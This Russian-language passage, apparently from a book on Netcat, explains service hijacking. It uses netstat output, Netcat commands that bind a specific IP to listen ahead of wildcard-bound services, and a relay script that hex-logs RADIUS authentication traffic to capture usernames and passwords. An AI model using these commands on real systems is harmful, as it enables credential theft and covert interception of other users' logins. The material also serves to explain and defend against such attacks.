Захват службы
Перейдите к системному журналу в вашей любимой операционной системе и запустите команду netstat -a -n. Посмотрите на первые строчки вывода. Вы увидите нечто подобное этому.
Proto Recv-Q Send-Q LocalAddress ForeignAddress (state) tcp4 0 0 *.6000 *.* LISTEN tcp4 0 0 *.80 *.* LISTEN tcp4 0 0 *.22 *.* LISTEN tcp4 0 0 *.23 *.* LISTEN tcp4 0 0 *.21 *.* LISTEN tcp4 0 0 *.512 *.* LISTEN tcp4 0 0 *.513 *.* LISTEN tcp4 0 0 *.514 *.* LISTEN
Последние три строчки - это удаленные службы (rlogin, rexec, и т.д.), которые могут стать отличной находкой для взломщика, поскольку они незащищены. Вы также можете обратить внимание, что запущенны службы telnet, FTP, X Windows, Web, и SSH. Что еще можно узнать? Обратите внимание на символ * у каждой из служб в локальном адресе. Это означает, что все эти службы не ограничены работой с конкретным IP-адресом. Ну и что?
Как оказалось, многие IP-клиенты, пытаясь соединиться со службой по конкретному IP-адресу, предварительно прослушивают все IP-адреса. Попытайтесь выполнить следующую команду.
[root@originix nc] ./nc -l -v -s 192.168.1.102 -p 6000
Теперь запустите на выполнение еще один экземпляр netstat. Вы увидите следующее.
Proto Recv-Q Send-Q LocalAddress ForeignAddress (state) tcp4 0 0 192.168.1.102.6000 *.* LISTEN tcp4 0 0 *.6000 *.* LISTEN
Посмотрите! Вы теперь прослушиваете порт перед X-сервером. Если вы имеете доступ к компьютеру, как пользователь root, вы можете прослушивать порты с номерами менее 1024 и перехватывать такие сервисы, как telnet, Web и другие ресурсы. Но особенно интересны приложения для аутентификации, совместного использования файлов и другие, которые используют большие по номерам порты. Постоянные пользователи вашей системы могут, к примеру, перехватить RADIUS-сервер (который обычно выполняется на порту UDP с номером 1645 или 1812) и запустить команду Netcat с опцией -o для получения шестнадцатеричных протоколов всех попыток аутентификации. Они всего лишь перехватят все пользовательские имена и пароли, не имея при этом полномочий пользователя root.
Конечно, пользователи довольно быстро поймут, что служба не отвечает, и "подрывная" деятельность будет раскрыта. Но если пираты хоть что-то знают о службе, которую они перехватили, они могут изобразить псевдослужбу (выдавая поддельные ответы на запрос) или перенаправить запросы на какую-нибудь еще службу.
[root@originix nc] ./nc -l -v -s 192.168.1.102 -p 1812 -e nc_to_radius
где nc_to_radius - это скрипт, который выглядит примерно так:
#!bin/sh DATE='date "+%Y-%m-%d_%H.%M.%S"' /usr/bin/nc -o hexlog-$DATE slave-radius 1812
slave-radius в данном случае имя хоста вторичного RADIUS-сервера в сети. Запуск Netcat на прослушивание таким образом, чтобы он перезапускался после каждого соединения, дает теоретическую возможность перехватить всю информацию, передаваемую в процессе аутентификации (сохранив все в отдельных файлах) и при этом уберечься от того, чтобы кто-нибудь сразу понял, что что-то не так. Этот прием просто записывает информацию в процессе передачи ее на резервный RADIUS-сервер. Может, и не просто заставить это работать, но все же возможно.
Совет. Приведенный выше прием не обязательно работает на всех операционных системах или версиях ядра, поскольку многие из них не имеют этой лазейки в реализации сокетов. Обычно, чтобы понять, где работает этот прием, требуется тестирование системы. К примеру, у нас не получилось выполнить этот фокус на машине под управлением RedHat Linux 6.1 с установленным по умолчанию ядром версии 2.2.12. Перехват служб отлично работает в FreeBSD 4.3-BETA, но только при наличии полномочий пользователя root.